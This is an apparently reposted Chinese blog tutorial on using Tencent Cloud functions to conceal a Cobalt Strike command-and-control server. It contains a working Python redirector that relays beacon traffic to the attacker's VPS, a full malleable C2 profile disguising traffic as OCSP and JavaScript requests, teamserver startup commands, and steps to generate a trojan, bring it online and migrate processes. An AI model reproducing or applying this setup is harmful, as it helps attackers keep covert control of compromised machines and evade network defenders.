使用騰訊雲函數上線Cobalt Strike


題記

    最近買了個騰訊雲使,(真香),騰訊雲便宜又好用。既然買了騰訊雲,當然要試試雲函數上線。

環境配置

    注冊騰訊雲賬號(API網關第一年免費)

    vps一台

    cs(我用的4.2)

雲函數配置

1、進行雲函數控制台

    登錄騰訊雲搜索雲函數,點擊管理控制台進行配置,第一次配置需要授權。

2、新建函數服務

3、函數名稱隨意,選擇從頭開始,環境填Python3.6,選完后下拉,把代碼搞里頭。

4、打碼的地方填vps的地址,這里我配的https,cs上線的時候用443端口上線,http同理80,(代碼在下面),填完點完成,后會彈出一個提示框點擊 留在此頁面。

    雲函數的python代碼:

# -*- coding: utf8 -*-

import json,requests,base64

def main_handler(event, context):

C2='http://<C2服務器地址>' # 這里可以使用 HTTP、HTTPS~下角標~

path=event['path']

headers=event['headers']

print(event)

if event['httpMethod'] == 'GET' :

resp=requests.get(C2+path,headers=headers,verify=False)

else:

resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)

print(resp.headers)

print(resp.content)

 

response={

"isBase64Encoded": True,

"statusCode": resp.status_code,

"headers": dict(resp.headers),

"body": str(base64.b64encode(resp.content))[2:-1]

}

return response

5、點擊觸發管理,創建觸發器

6、配置如下,點擊提交

7、點擊api服務名

8、點擊編輯后到達此頁面,路徑修改為/ ,點擊下一步

9、配置如下 點擊完成 后點擊 發布服務

10、配置cs的profile文件,命名為win_tecent_cloud_func.profile。

set sample_name "t";

set sleeptime "3000";

set jitter "0";

set maxdns "255";

set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

 

http-get {

 

set uri "/api/x";

 

client {

header "Accept" "*/*";

metadata {

base64;

prepend "SESSIONID=";

header "Cookie";

}

}

 

server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Server" "Nodejs";

output {

base64;

print;

}

}

}

http-stager {

set uri_x86 "/vue.min.js";

set uri_x64 "/bootstrap-2.min.js";

}

http-post {

set uri "/api/y";

client {

header "Accept" "*/*";

id {

base64;

prepend "JSESSION=";

header "Cookie";

}

output {

base64;

print;

}

}

 

server {

header "Content-Type" "application/ocsp-response";

header "content-transfer-encoding" "binary";

header "Connection" "keep-alive";

output {

base64;

print;

}

}

}

11、vps加載win_tecent_cloud_func.profile啟動Cobalt Strike。

這里先插入停止Cobalt Strike的命令:ps -aux |grep java kill -9 pid。

啟動cs:./teamserver vpsip password win_tecent_cloud_func.profile

12、將雲函數的公網接口地址域名填入listener的http hosts和stager的hosts。注意端口選443,根據雲函數python用的http(80)還是https(443)決定,我當時配的https。

13、生成木馬並成功上線

14、配合木馬進行進程遷移,遷移程序與木馬同時使用雲函數上線。

參考文章

    雲函數隱藏C2爬坑記:http://xz.aliyun.com/t/10764

    使用騰訊雲函數隱藏C2:http://blog.csdn.net/w1590191166/article/details/113826579

    雲函數隱藏c2服務器:http://blog.csdn.net/weixin_44747030/article/details/122513833


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM